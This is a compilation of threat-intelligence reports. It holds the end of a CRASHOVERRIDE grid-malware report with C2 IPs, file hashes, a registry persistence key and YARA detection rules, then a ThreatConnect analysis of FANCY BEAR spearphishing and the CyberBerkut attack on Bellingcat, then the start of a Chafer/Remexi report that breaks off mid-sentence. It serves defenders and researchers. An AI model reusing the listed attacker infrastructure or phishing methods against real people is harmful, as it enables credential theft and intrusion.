ApiPortection9d3 Mutex value checked Stage 2: Install Recon Host Mutex Value Blank Value Mutex value created Stage 2: Install Recon Host File C:\Users\Public OR Executing User\ imapi File dropped and deleted after pro- gram exit Stage 2: Install Recon Host Service Name defragsvc Name given to service start Stage 2: C2 Remote Access Network IP Address 195.16.88.6 External C2 server [DEC 2016] (likely TOR node at time of attack) Stage 2: C2 Remote Access Network IP Address 93.115.27.57 External C2 server [DEC 2016] (likely TOR node at time of attack) Stage 2: C2 Remote Access Network IP Address 5.39.218.152 External C2 server [DEC 2016] (likely TOR node at time of attack) Stage 2: C2 Remote Access Network User Agent String Mozilla/4.0 (compatible MSIE 7.0 Win- dows NT 5.1 InfoPath.1) Default user agent string used in C2 if unable to get system default user agent string Stage 2: C2 Remote Access Host Command Line Drive:\name.exe -ipIP_address -portsports Command line arguments used to launch custom port scanner observed with malware. Command line logging required to track. Stage 2: Develop Recon Host Registry Key HKLM\SYSTEM\CurrentControlSet\Ser- vices\target_service_name\ImagePath path to malware Change in Service Image Path in the system registry to point to malware allowing malware to restart on system reboot. Stage 2: Installa- tion Persistence Host SHA1 File Hash F6C21F8189CED6AE150F9E- F2E82A3A57843B587D Traffic to internalIP:3128, HTTP CONNECT to 5.39.218.152:443. Back- door/RAT. Phase2: C2 Remote Access Host SHA1 File Hash CCCCE62996D- 578B984984426A024D9B250237533 Traffic to internalIP:3128, HTTP CONNECT to 5.39.218.152:443. Back- door/RAT. Phase2: C2 Remote Access Host SHA1 File Hash 8E39ECA1E48240C01EE570631AE8F- 0C9A9637187 Backdoor/RAT Proxy HTTP CON- NECT to 93.115.27.57:443. Phase2: C2 Remote Access Host SHA1 File Hash 2CB8230281B86FA944D3043AE- 906016C8B5984D9 Backdoor/RAT Proxy HTTP CON- NECT to 195.16.88.6:443 Phase2: C2 Remote Access CRASHOVERRIDE : Threat to the Electic Grid Operations Host SHA1 File Hash 79CA89711CDAEDB16B0CCCCFD- CFBD6AA7E57120A Launcher for payload DLL. Takes input as three command line parameters work- ing directory, module, and config file.
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Stage 2: Attack Loss of Control Host SHA1 File Hash 94488F214B165512D2FC0438A581F- 5C9E3BD4D4C Module for 104 effect.
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Stage 2: Attack Loss of Control Host SHA1 File Hash 94488F214B165512D2FC0438A581F- 5C9E3BD4D4C Module for 104 effect. Exports Crash which is invoked by launcher. Functional- ity requires config file. Stage 2: Attack Loss of Control Host SHA1 File Hash 5A5FAFBC3FEC8D36FD57B075EBF- 34119BA3BFF04 Wiper module, wipes list of files by extension, removes system processes, and makes registry changes to prevent system boot. Stage 2: Attack Destruction Host SHA1 File Hash B92149F046F00BB69DE329B8457D- 32C24726EE00 Wiper module, wipes list of files by extension, removes system processes, and makes registry changes to prevent system boot. Stage 2: Attack Destruction Host SHA1 File Hash B335163E6EB854DF5E08E85026B- 2C3518891EDA8 Custom-built port scanner. Stage 2: Develop Recon Host SHA1 File Hash 7FAC2EDDF22FF692E1B4E- 7F99910E5DBB51295E6 OPC Data Access protocol enumeration of servers and addresses Stage 2: Attack Loss of Control Host SHA1 File Hash ECF6ADF20A7137A84A1B319C- CAA97CB0809A8454 IEC-61850 enumeration and address manipulation Stage 2: Attack Loss of Control Host Filename opc.exe OPC Data Access protocol enumeration of servers and addresses Stage 2: Attack Loss of Control Host Filename 61850.exe IEC-61850 enumeration and address manipulation Stage 2: Attack Loss of Control Host Filename haslo.exe Wiper module, wipes list of files by extension, removes system processes, and makes registry changes to prevent system boot. Stage 2: Attack Destruction Host Filename 104.dll IEC-104 module Stage 2: Attack Loss of Control Host Filename haslo.dat Wiper module Stage 2: Attack Destruction OPC Server OPC Group Aabdul OPC DA Module Stage 2: Attack Loss of Visibility CRASHOVERRIDE : Threat to the Electic Grid Operations 30 Yara Rules Also found at https://github.com/dragosinc/CRASHOVERRIDE import pe import hash rule dragos_crashoverride_exporting_dlls meta: description CRASHOVERRIDE v1 Suspicious Export author Dragos Inc condition: pe.exports(Crash) pe.characteristics rule dragos_crashoverride_suspcious meta: description CRASHOVERRIDE v1 Wiper author Dragos Inc strings: s0 SYS_BASCON.COM fullword nocase wide s1 .pcmp fullword nocase wide s2 .pcmi fullword nocase wide s3 .pcmt fullword nocase wide s4 .cin fullword nocase wide condition: pe.exports(Crash) and any of (s) CRASHOVERRIDE : Threat to the Electic Grid Operations 31 YARA Rules rule dragos_crashoverride_name_search meta: description CRASHOVERRIDE v1 Suspicious Strings and Export author Dragos Inc strings: s0 101.dll fullword nocase wide s1 Crash101.dll fullword nocase wide s2 104.dll fullword nocase wide s3 Crash104.dll fullword nocase wide s4 61850.dll fullword nocase wide s5 Crash61850.dll fullword nocase wide s6 OPCClientDemo.dll fullword nocase wide s7 OPC fullword nocase wide s8 CrashOPCClientDemo.dll fullword nocase wide s9 D2MultiCommService.exe fullword nocase wide s10 CrashD2MultiCommService.exe fullword nocase wide s11 61850.exe fullword nocase wide s12 OPC.exe fullword nocase wide s13 haslo.exe fullword nocase wide s14 haslo.dat fullword nocase wide condition: any of (s) and pe.exports(Crash) CRASHOVERRIDE : Threat to the Electic Grid Operations 32 YARA Rules rule dragos_crashoverride_hashes meta: description CRASHOVERRIDE Malware Hashes author Dragos Inc condition: filesize 1MB and hash.sha1(0, filesize) f6c21f8189ced6ae150f9ef2e82a3a57843b587d or hash.sha1(0, filesize) cccce62996d578b984984426a024d9b250237533 or hash.sha1(0, filesize) 8e39eca1e48240c01ee570631ae8f0c9a9637187 or hash.sha1(0, filesize) 2cb8230281b86fa944d3043ae906016c8b5984d9 or hash.sha1(0, filesize) 79ca89711cdaedb16b0ccccfdcfbd6aa7e57120a or hash.sha1(0, filesize) 94488f214b165512d2fc0438a581f5c9e3bd4d4c or hash.sha1(0, filesize) 5a5fafbc3fec8d36fd57b075ebf34119ba3bff04 or hash.sha1(0, filesize) b92149f046f00bb69de329b8457d32c24726ee00 or hash.sha1(0, filesize) b335163e6eb854df5e08e85026b2c3518891eda8 CRASHOVERRIDE : Threat to the Electic Grid Operations 33 YARA Rules rule dragos_crashoverride_moduleStrings meta: description IEC-104 Interaction Module Program Strings author Dragos Inc strings: s1 IEC-104 client: ips ports ASDUu nocase wide ascii s2 MSTR - SLV nocase wide ascii s3 MSTR - SLV nocase wide ascii s4 Unknown APDU format nocase wide ascii s5 iec104.log nocase wide ascii condition: any of (s) rule dragos_crashoverride_configReader meta: description CRASHOVERRIDE v1 Config File Parsing author Dragos Inc strings: s0 68 e8 ?? ?? ? ? 6a 00 e8 a3 ?? ?? ? ? 8b f8 83 c4 ? 8 s1 8a 10 3a 11 75 ? ? 84 d2 74 12 s2 33 c0 eb ? ? 1b c0 83 c8 ? ? s3 85 c0 75 ? ? 8d 95 ?? ?? ?? ? ? 8b cf ?? ? ? condition: all of them CRASHOVERRIDE : Threat to the Electic Grid Operations 34 YARA Rules rule dragos_crashoverride_weirdMutex meta: description Blank mutex creation assoicated with CRASHOVERRIDE author Dragos Inc strings: s1 81 ec 08 02 00 00 57 33 ff 57 57 57 ff 15 ?? ? ? 40 00 a3 ?? ?? ? ? 00 85 c0 s2 8d 85 ?? ?? ? ? ff 50 57 57 6a 2e 57 ff 15 ?? ?? ? ? 00 68 ?? ? ? 40 00 condition: all of them rule dragos_crashoverride_serviceStomper meta: description Identify service hollowing and persistence setting author Dragos Inc strings: s0 33 c9 51 51 51 51 51 51 ?? ?? ? ? s1 6a ff 6a ff 6a ff 50 ff 15 24 ? ? 40 00 ff ?? ? ? ff 15 20 ? ? 40 00 condition: all of them CRASHOVERRIDE : Threat to the Electic Grid Operations 35 YARA Rules rule dragos_crashoverride_wiperModuleRegistry meta: description Registry Wiper functionality assoicated with CRASHOVERRIDE author Dragos Inc strings: s0 8d 85 a0 ?? ?? ? ? 46 50 8d 85 a0 ?? ?? ? ? 68 68 0d ?? ? ? 50 s1 6a 02 68 78 0b ?? ? ? 6a 02 50 68 b4 0d ?? ? ? ff b5 98 ?? ?? ? ? ff 15 04 ?? ?? ? ? s2 68 00 02 00 00 8d 85 a0 ?? ?? ? ? 50 56 ff b5 9c ?? ?? ? ? ff 15 00 ?? ?? ? ? 85 c0 condition: all of them rule dragos_crashoverride_wiperFileManipulation meta: description File manipulation actions associated with CRASHOVERRIDE wip- er author Dragos Inc strings: s0 6a 00 68 80 00 00 00 6a 03 6a 00 6a 02 8b f9 68 00 00 00 40 57 ff 15 1c ?? ?? ? ? 8b d8 s2 6a 00 50 57 56 53 ff 15 4c ?? ?? ? ? 56 condition: all of them ThreatConnect Research Team 9/28/2016 Belling the BEAR threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/ ThreatConnect reviews activity targeting Bellingcat, a key contributor in the MH17 investigation. Read the full series of ThreatConnect posts following the DNC Breach: Rebooting Watergate: Tapping into the Democratic National Committee, Shiny Object? Guccifer 2.0 and the DNC Breach, Whats in a Name Server?, Guccifer 2.0: the Man, the Myth, the Legend?, Guccifer 2.0: All Roads Lead to Russia , FANCY BEAR Has an (IT) Itch that They Cant Scratch, Does a BEAR Leak in the Woods?,
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and Russian Cyber Operations on Steroids. [ UPDATE] October 7th 2016 Introduction Since posting about the DNC hack, each time we published a blog post on a BEAR-based topic we thought it was going to be our last. But like the Death Stars gravitational pull, the story keeps drawing us back in as new information comes to light. Following our post on DCLeaks as a Russian influence operation , Bellingcat founder Eliot Higgins reached out to us. Bellingcat, a group of citizen investigative journalists, has published articles critical of Russia and has been a key contributor to the international investigation of the shootdown of Malaysian Airlines Flight 17 (MH17) over Ukraine in 2014. Higgins shared data with ThreatConnect that indicates Bellingcat has come under sustained targeting by Russian threat actors, which allowed us to identify a 2015 spearphishing campaign that is consistent with FANCY BEARs tactics, techniques, and procedures. We also analyzed a February 2016 attack by CyberBerkut a group claiming to be pro-Russian Ukrainian hacktivists but also a suspected front for Moscow against Russia-based Bellingcat contributor Ruslan Leviev, where CyberBerkut defaced the Bellingcat website and leaked Levievs personal details. As evidenced by these efforts and the attack on the World Anti-Doping Agency, organizations that negatively impact Russias image can expect Russian cyber operations intended to retaliate publicly or privately, influence, or otherwise maliciously affect them. The Diamond Model below summarizes the activity that Bellingcat experienced. 1/16 https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/ https://www.threatconnect.com/tapping-into-democratic-national-committee/ https://www.threatconnect.com/guccifer-2-0-dnc-breach/ https://www.threatconnect.com/whats-in-a-name-server/ https://www.threatconnect.com/reassesing-guccifer-2-0-recent-claims/ https://www.threatconnect.com/guccifer-2-all-roads-lead-russia/ https://www.threatconnect.com/fancy-bear-it-itch-they-cant-scratch/ https://www.threatconnect.com/blog/does-a-bear-leak-in-the-woods/ https://www.threatconnect.com/blog/fancy-bear-anti-doping-agency-phishing/ https://www.threatconnect.com/russia-hacks-bellingcat-mh17-investigationupdate https://threatconnect.com/blog/tapping-into-democratic-national-committee/ https://threatconnect.com/blog/does-a-bear-leak-in-the-woods/ https://www.bellingcat.com/ https://www.bellingcat.com/author/eliothiggins/ https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17 https://twitter.com/RuslanLeviev https://threatconnect.com/blog/fancy-bear-anti-doping-agency-phishing/ http://www.activeresponse.org/the-diamond-model/ Bellingcat Background Bellingcat is a group of citizen investigative journalists named after a classic fable that uses open source information, such as photos and videos posted on social media, maps, and publicly available satellite imagery. Bellingcat articles have focused on a variety of current events in Africa, the Middle East, the U.S., and Europe with a specific focus on notable conflicts related to Syria, Ukraine, and Russia. Bellingcat published its first post on July 5, 2014, and for the next twelve days focused mainly on the ongoing Syrian civil war, covering developments such as the use of chemical weapons, but also occasionally pointing out Russian involvement. On July 17, 2014, Malaysian Airlines Flight 17 crashed in pro-Russian rebel territory in eastern Ukraine and Bellingcat released their first post on the topic. Over the next two years, Bellingcat would publish no fewer than 92 posts from at least 8 contributors focused on Russian involvement in the downing of MH17, using open source information and imagery to prove the presence of the Russian military in eastern Ukraine and that a Russian-supplied Buk missile launcher shot down MH17 from pro-Russian rebel territory. The Kremlin vehemently denies this. The Dutch took the lead in the criminal investigation through an international Joint Investigation Team (JIT) and officially considered Bellingcats reporting in their investigation. Founder Eliot Higgins was included as an official witness. The Dutch Safety Board ultimately found MH17 was shot down by a Russian-made surface-to-air missile but declined to assign blame for who was responsible for the launch. On September 28, the JIT is due to release the results of their criminal investigation. Compromising Bellingcat contributors could provide Russian intelligence services with journalists contacts and sources, personal information, insight into future reporting perceived as indemnifying Russia, as well as sensitive personal information. Such collection could facilitate influence operations and retaliation efforts against Bellingcat, or access that could be leveraged for follow-on operations. Compromising Bellingcat contributors accounts could also provide access to communications with the JIT, offering a glimpse at how the investigation of the downing of MH17 was proceeding. 2/16 https://en.wikipedia.org/wiki/Belling_the_cat https://www.bellingcat.com/resources/case-studies/2014/07/17/geolocating-the-missile-launcher-linked-to-the-downing-of-mh17/ https://www.bellingcat.com/tag/mh17/ https://www.bellingcat.com/contributors/ https://www.om.nl/onderwerpen/mh17-crash/ https://www.washingtonpost.com/news/worldviews/wp/2015/10/13/a-dutch-report-will-say-what-downed-mh17-it-wont-blame-the-russians/ https://www.youtube.com/watch?vKDiLEyT9spI http://www.nltimes.nl/2016/08/22/mh17-dutch-criminal-investigation-results-ready-sept-28/ Activity Targeting Bellingcat Timeline The timeline below summarizes the notable dates related to the MH17 crash and investigation, Bellingcats articles related to those events, and the malicious activity targeting Bellingcat and Leviev. Its important to note we do not have complete insight into all of the malicious activity that may have targeted Bellingcat during this timeframe. FANCY BEAR From February 2015 to July 2016 three researchers at Bellingcat Higgins, Aric Toler, and Veli-Peka Kivimaki who had contributed MH17 articles received numerous spearphishing emails, with Higgins alone receiving at least 16 phishing emails targeting his personal email account. A majority of the campaign took place from February to September 2015, with some activity resuming in May 2016. These spearphishing attempts consist of a variety of spoofed Gmail security notices alerting the target that suspicious activity was detected on their account. The target is prompted to click a URL resembling a legitimate Gmail security link to review the details of this suspicious activity. Below are screenshots of some of the spearphishing email targeting Bellingcat researchers. 3/16 4/16 5/16 The attackers used several methods to redirect the target to credential harvesting pages. In at least 21 of the emails, the URL redirects the victim to a shortened Bitly URL. These shortened Bitly links, in turn, direct the victim to another Google-spoofing URL appended with the base64 encoded target email and name. One of the emails used a shortened TINYCC URL to achieve the same effect. In four of the other emails, the security links direct the target to a Google Sites page that spoofs a Google login page. Once the target visits the Bitly, TINYCC, or Google Sites URLs, they are prompted to enter their Google credentials, which would then be captured by the threat actors. The specifically crafted URLs with target-specific strings are consistent with a FANCY BEAR technique highlighted in Dell Secureworks research and employed against a DNC staffer whose files were leaked on DCLeaks. Reviewing the click information for the Bitly links, we identified that at least three of the Bitly URLs targeting the same Bellingcat individual were accessed in the timeframe consistent with the spearphishing attack. This suggests the individual clicked on the links in three of the spearphishing messages, but Bellingcat confirms that no credentials were supplied to these pages. 6/16 https://en.wikipedia.org/wiki/Base64 https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign https://threatconnect.com/blog/does-a-bear-leak-in-the-woods/ Other consistencies with Russia and FANCY BEAR activity were also identified. In early May and again in mid-June 2016 the Bellingcat contributor Aric Tolers personal email address was targeted by FANCY BEAR. Using ThreatConnects Email Import function, we are able to identify that both messages abused Moscow-based Yandex email services to send malicious emails to the researcher. In the May phishing example FANCY BEAR used the Yandex account berg01berg01yandex[. ]com. In the June 2016 example, Toler was targeted with a message that used hellomail1yandex[. ]com in a manner consistent with how Billy Rinehart was targeted prior to content from his personal Gmail being posted to DCLeaks. 7/16 https://threatconnect.com/blog/does-a-bear-leak-in-the-woods/ By analyzing the email headers provided by Bellingcat, we identified domains and corresponding IP addresses that the attackers leveraged as part of the spearphishing operation. The table below also shows the registrant for the domain, the creation date for the WHOIS record, and the name server the domain used during the attack timeframe. Spearphishing Domain Mailserver IP Domain Registrant Domain Create Date Name Server During Attack Spearphishing Domain Mailserver IP Domain Registrant Domain Create Date Name Server During Attack mxx.evrosatory[. ]com 46.22.208.204 andre_roymail.com 2/13/14 Carbon2u.com accounts.servicegoogle[. ]com 155.254.36.155 theforeignnewsgmail.com 5/22/15 Cata501836.earth.orderbox- dns.com mxx.us-westmail- undeliversystem[. ]com 46.22.208.204 andre_roymail.com 2/28/14 Carbon2u.com mx1.servicetransfermail[. ]com 95.153.32.53 theforeignnewsgmail.com 6/3/15 Cata501836.earth.orderbox- dns.com accounts.google.com.rnil[. ]am 198.105.122.187 Private 7/7/14 Carbon2u.com mx6.set132[. ]com 198.105.122.187 emmer.brownmail.com 9/30/14 Carbon2u.com server.mx4.set132[. ]com 46.22.208.204 emmer.brownmail.com 9/30/14 Carbon2u.com The domains evrosatory[.]com,us-westmail-undeliversystem[. ]com have been previously identified by Pricewaterhouse 8/16 http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf Coopers as FANCY BEAR, and the domain servicetransfermail[. ]com closely resembles the servicetransferemail[. ]com infrastructure that German Intelligence (BvF) established as FANCY BEAR within Cyber Brief Nr. 01/2016. FANCY BEAR also previously used both the Cata501836 and Carbon2u name servers to host infrastructure and email addresses from 11s mail.com to register domains. We were able to identify further overlaps with other FANCY BEAR infrastructure by pivoting off of these indicators, which we will describe in a later blog post. Based on these consistencies, we assess FANCY BEAR almost certainly is behind the spearphishing and credential harvesting campaign targeting Eliot Higgins and other Bellingcat researchers. CyberBerkut Activity CyberBerkut describes itself as a group of pro-Russian Ukrainian hacktivists. They borrow the Berkut name from the now disbanded Ukrainian riot police who responded brutally to the 2014 EuroMaidan demonstrations in Kiev. CyberBerkut runs a digitally-fueled, aggressive, active measures campaign directed against a pro-western government in Kiev and points of western influence such as NATO in eastern Europe. CyberBerkut has conducted attacks across a spectrum of technical sophistication including distributed denial of service attacks (DDOS), disrupting and degrading the networks of Ukraines Central Election Commission during the 2014 election, hacking Ukrainian billboards and displaying pro-Russian messages, conducting computer network exploitation and strategic leaks of emails and documents, and leaking intercepted phone calls between high ranking Ukrainian officials. This range suggests highly capable actors are behind CyberBerkut and they employ a high degree of operational planning when considering the offensive use of information and their effects. CyberBerkut defaced the Bellingcat webpage on February 10, 2016, claiming credit for the attack and singling out Ruslan Leviev, a Russian opposition blogger and Bellingcat contributor. Leviev published a compelling piece of citizen journalism on May 22, 2015 exploring the fate of Russian Spetsnaz soldiers believed to have been killed in combat operations within Ukraine earlier that month. According to Bellingcat founder Higgins, Levievs contributor account was compromised and used to post the CyberBerkut message. In an email interview, Leviev makes the following statement regarding the events that led to the compromise of his credentials and the defacement. 9/16 https://www.verfassungsschutz.de/download/broschuere-2016-03-bfv-cyber-brief-2016-01.pdf https://threatconnect.com/blog/does-a-bear-leak-in-the-woods/ https://threatconnect.com/blog/fancy-bear-it-itch-they-cant-scratch/ https://en.wikipedia.org/wiki/Berkut_(special_police_force) https://www.netflix.com/title/80031666 https://en.wikipedia.org/wiki/Active_measures https://ccdcoe.org/sites/default/files/multimedia/pdf/CyberWarinPerspective_full_book.pdf https://www.youtube.com/watch?vE8A2MIkiavE https://www.youtube.com/watch?vWkicw3EolCg https://twitter.com/bellingcat/status/697334674029412353 https://www.bellingcat.com/news/uk-and-europe/2015/05/22/three-graves/ In my case, my old email account, which was located on Yandex servers, was hacked. The email account had a long, difficult password, not a word, from various letters, numbers, and special symbols. Plus there was a telephone number bound to the account for second factor authentication. Exactly how it was hacked I dont know. 1. Either they as employees, or with their active assistance, intercepted the SMS authentication code. 2. Or they, again, as an officer from the authorities or with their active assistance, gained direct access to the Yandex Mail servers where they seized the email from my old inbox. 3. Or they know about a vulnerability in Yandex email that nearly nobody else knows about. Having seized the old email inbox, they used the password recovery mechanism for LiveJournal. My LiveJournal account (which I have not used for a long time) was connected to my old email address, but LiveJournal does not provide second factor authentication. Via password recovery of my LiveJournal from my stolen email, they took over my LiveJournal account and made a post. In the same stolen email account, they found my username and password for my account at Bellingcat (I had once published an investigation directly on the Bellingcat website) and they published a post there in my name. At the same time, my icloud account was not setup for second factor authentication, and was connected only to my old email address for password recovery, it was also taken over. They performed a password recovery via my stolen email address for icloud, logged in, but I received a notification on my iPhone about it, and I quickly cut off their access, but they were able to download some photos. They also tried to hack my Facebook and Twitter. They were unable to crack Facebook, because I had second factor authentication and always need to enter the code generated by the Facebook app. They were able to login to Twitter and change the password but nothing was deleted and they didnt tweet anything. I restored the password. Based on all the data, I assume that, as in the case of Alburovym, Kozlovsky, Parkhomenko, this was the activity of security services who intercepted the SMS containing the access code. So they got access to my old email account and they also gained access to my Twitter account (which was also under two-factor, but code is sent via SMS rather than generated in an app). Of my social networks where two-factor codes are generated via an application, they were unable to crack. Of my social networks where the two-factor code was sent via SMS, they were able to crack. Leviev suggests the attackers had direct access to Yandex mail servers or were able to intercept the SMS message used for two factor authentication to compromise his old Yandex email account. Leviev goes on to describe that the actors then used emails from that old account to compromise his iCloud account and access pictures and other information saved from Levievs phone to iCloud. Some of this information was ultimately put in a February 24, 2016 post on CyberBerkuts website that contained sensitive details of Levievs personal life, such as his pictures, phone number, address, passport scan, girlfriends name, and dating and sexual preferences. These attacks were an overt attempt to discredit Bellingcat research and Leviev, but also carried a message to others who publicly voice positions critical of Moscow that this form of journalism does not go unnoticed. We also found it interesting how much effort was expended and the degree of sources and methods exposed to achieve a simple defacement. We do not know whether the attackers intercepted Levievs SMS-based two-factor authentication or had direct access to Yandex mail servers, but either tactic is more suggestive of a state-backed actor as opposed to independent hacktivists. CyberBerkut and FANCY BEAR: Not the Same, But Showing Up to the Same Party Throughout our research, we have focused on FANCY BEAR, an advanced persistent threat (APT) group assessed to be Russian government. CyberBerkut, on the other hand, was a referential data point when we looked at precedence for pro- Russian proxies interfering with elections. CrowdStrike assessed in its 2015 Global Threat Report there are indications that CyberBerkut has ties to Russian state security, but the degree of Russian government control over the group is disputed. 10/16 https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf The timing of the FANCY BEAR spearphishing campaigns and the CyberBerkut attack against Leviev are interesting. The concerted FANCY BEAR spearphishing efforts over a six month timeframe in 2015 shows Moscows clear intent to compromise Bellingcat, most likely due to their posts on key current events involving Russia. This activity was followed by a hard stop and then additional targeted efforts by CyberBerkut in early 2016, which was in-turn followed by additional FANCY BEAR spearphishing from May to July 2016. A key assumption underlying any assessment about how these activities are related stems from how an analyst assesses the motives for targeting Leviev.
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We came up with two scenarios: Stronger/Closer Coordination Between FANCY BEAR and CyberBerkut.
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We came up with two scenarios: Stronger/Closer Coordination Between FANCY BEAR and CyberBerkut. In this scenario, the activities against Bellingcat are coordinated with these two entities handing off operations. The timing suggests that the state actors, looking to compromise Bellingcat, pivoted to a more aggressive attack against Leviev when the initial spearphishing campaign failed to yield the desired results. Leviev is targeted more aggressively as a means to get at Bellingcat and since he lives in Russia, state actors would have additional tools in their kit to intercept his SMS two-factor authentication messages or gain direct access to Yandexs mail servers. In this scenario, CyberBerkut functions as much as a strategic messaging outlet as the actual attacker and is subject to a much greater degree of direction and control from Moscow than previously assessed. The Common Enemies Approach: Weaker/Less Coordination Between FANCY BEAR and CyberBerkut. In this scenario, the spearphishing campaigns conducted by FANCY BEAR are distinct in purpose and perpetrator from the CyberBerkut attack against Leviev. The spearphishing campaigns are more focused on Bellingcats coverage of the MH17 shootdown and involvement in the JIT investigation. CyberBerkut targets Leviev separately after his coverage of Russian military involvement in eastern Ukraine with some assistance from supportive friends in Moscow to compromise his Yandex account. Targeting Leviev is less about a broader compromise of Bellingcat and more about harassing one journalist. In this scenario, CyberBerkut is advancing Moscows interests and can call on the Russian intelligence services, but is still a distinct group. Leak Sites Leaking Over We looked to see if we could identify other overlaps between FANCY BEAR and CyberBerkut that would help us assess which of these two scenarios was more likely. Through our research into the Bellingcat activity, we found some surprising content overlaps with DCLeaks another assessed Russian influence outlet and a CyberBerkut pattern of registering infrastructure that FANCY BEAR also uses. These developments move the needle slightly towards a more coordinated relationship between the two groups, but not decisively. Comparing DCLeaks and CyberBerkut In our previous post, we identified a website called DCLeaks as a Russian-backed influence outlet. Information shared with ThreatConnect indicates that there is an association of some kind between the Guccifer 2.0 persona and the DCLeaks website. Shortly after publication, we became aware of a cache of documents leaked on the DCLeaks site. The files were allegedly obtained via a compromise of an organization affiliated with George Soros. It is interesting to note that earlier in 2016 CyberBerkut also published files purportedly associated with Soros. Analysis conducted by Anton Cherepanov, a security researcher who works for ESET, suggests that the content of the two leaks are similar with at least three of the Soros documents being found on both sites. The acquisition and publication of documents belonging to, or in some way associated with, the same individual is of interest as overlaps in targeting and potential similarities in stolen content could be indicative of a connection between DCLeaks and CyberBerkut. Further, as we have identified that there is a connection from DCLeaks to Guccifer 2.0 and from Guccifer 2.0 to FANCY BEAR, the overlap in leaked documents may suggest that both leak sites obtained their data from the same collection source, FANCY BEAR. While this alone isnt enough to verify a relationship between the sites, there are some other interesting similarities. Despite their statuses as a U.S.-focused whistleblower and hacktivist group respectively, the websites of both DCLeaks and CyberBerkut primarily host content that is critical of individuals and governments perceived to oppose Russian foreign and domestic policies. Both sites attempt to appeal to civilian masses in the U.S. and Ukraine respectively by calling attention to purported in the political systems. Aleksandr Panchenko CyberBerkuts main domain, cyber-berkut[. ]org, was registered using privacy protection through the registrar Internet.bs and 11/16 https://threatconnect.com/blog/does-a-bear-leak-in-the-woods/ https://twitter.com/cherepanov74/status/764948917939212289 https://foreignpolicy.com/2016/08/22/turns-out-you-cant-trust-russian-hackers-anymore/ shortly thereafter hosted using CloudFlare infrastructure. Several other CyberBerkut-related domains redirect to this website. Most of these domains were also registered using privacy protection, but one domain, cyber-berkut[. ]net was registered by Aleksandr Panchenko using the email address alex_panchenkomail[. ]com. The same day the domain was registered through Reg.ru, it was later routed to CloudFlare infrastructure, suggesting that this domain was not opportunistically procured by a domain registrant in hopes they could sell it to the CyberBerkut actors. Additional research into this name and email address identifies six other CyberBerkut-related domains, none of which are active currently, registered by this individual: Cyber-berkut[. ]su Cyber-berkut[. ]tk Cyber-berkut[. ]us Cyber-berkut[. ]me Cyber-berkut[. ]cz Cyber-berkut[. ]im While certainly not definitive, the use of a mail.com email address to register domains is consistent with recently identified FANCY BEAR registration activity against the DCCC, WADA, and CAS. Tracing out FB Infrastructure Based on Bellingcat Input The activity that Bellingcat alerted us to provided a plethora of domains, IP addresses, email addresses, and other registration and hosting information for us to pivot off of to identify other pertinent infrastructure. In an upcoming blog post, well seek to identify as much FANCY BEAR infrastructure and aliases as possible using the ThreatConnect platform and capabilities from some of our industry partners. Reviewing the CATA501836 and Carbon2u name servers, we were able to identify dozens of active domains that fit the FANCY BEAR mold and likely spoof organizations that Moscow would seek to compromise. Pivoting off of Bellingcats email headers we were able to identify hundreds of domains and IPs, and dozens of email addresses and aliases most likely used by FANCY BEAR, some of which were not previously identified. This review primarily identified historical FANCY BEAR information, but the conclusions from it help verify FANCY BEAR TTP assessments, provide additional 12/16 https://threatconnect.com/blog/fancy-bear-it-itch-they-cant-scratch/ https://threatconnect.com/blog/fancy-bear-anti-doping-agency-phishing/ targeting context, and may be useful in retrospective reviews of malicious activity. Conclusion The campaign against Bellingcat provides yet another example of sustained targeting against an organization that shines a light on Russian perfidy. The spearphishing campaign is classic FANCY BEAR activity while CyberBerkuts role raises yet more questions about the groups ties to Moscow. These end-to-end cyber operations begin with targeting and exploitation and end with strategic leaks and other active measures employed against those with whom they disagree. These efforts go above and beyond traditional intelligence requirements such as gaining insight into a sensitive project or sources. Vilifying the messenger and dumping their personal data is part of the game, intended to intimidate and embarrass those that speak ill of Moscow. If Russia is willing to go to these lengths to compromise a small journalist organization and its contributors, consider what they are willing to do to major news and media outlets that publish similar articles. While many organizations remain reticent to share information, this knowledge is the prerequisite to establishing how widespread such efforts are and the adversarys modus operandi. The BEARs win if their active measures campaigns push, scare, or intimidate their targets into doing what they want. If you encounter a BEAR, youre doing something right. Dont back down. And turn on two-factor authentication for everything. Update On October 5 2016, probable FANCY BEAR actors again sent a spearphishing message to a Bellingcat contributor. This spearphishing message spoofed Google security services, similar to those previously used to target Bellingcat. 13/16 FANCY BEAR used a shortening service to mask the malicious link, similar to the previous messages, but it appears the actors attempted to obfuscate their activity by using two separate shortening services to hide the final malicious link. The tiny.cc link that is in the spearphishing message actually points to a TinyURL shortened URL. 14/16 The TinyURL in turn points to the below URL: hxxp://myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin.id833[. ]ga This URL is appended with a target-specific base64 encoded string as was seen in the previous spearphishing messages targeting Bellingcat and others. The id833[. ]ga domain is hosted at the 89.40.181[. ]119 IP (Bucharest, RO) which also hosts the domain id834[. ]ga. There is a subdomain for the id834[. ]ga similar to the URL above that is also hosted at the same IP. This suggests that the id834[. ]ga domain has also been operationalized, though we have no information indicating who has been targeted with it. The WHOIS records for these domains did not contain any additional information on the registrants or other domains they may have registered. Using ThreatConnects Email Import feature, we identified that the spearphishing message was sent through Yandex mail servers using the email address g.mail2017yandex[. ]com. 15/16 This was the first identified spearphish against Bellingcat since July 2016 and suggests that FANCY BEAR activity against them is ongoing. Other organizations involved in the MH17 investigation that would draw Moscows ire should be on the lookout for similar activity. 16/16 Belling the BEAR ThreatConnect reviews activity targeting Bellingcat, a key contributor in the MH17 investigation. [ UPDATE] October 7th 2016 Bellingcat Background Activity Targeting Bellingcat CyberBerkut and FANCY BEAR: Not the Same, But Showing Up to the Same Party Leak Sites Leaking Over Tracing out FB Infrastructure Based on Bellingcat Input Update By Denis Legezo Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities securelist.com/chafer-used-remexi-malware/89538 Executive Summary Throughout the autumn of 2018 we analyzed a long-standing (and still active at that time) cyber-espionage campaign that was primarily targeting foreign diplomatic entities based in Iran. The attackers were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionage operation. This malware has previously been associated with an APT actor that Symantec calls Chafer. The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and 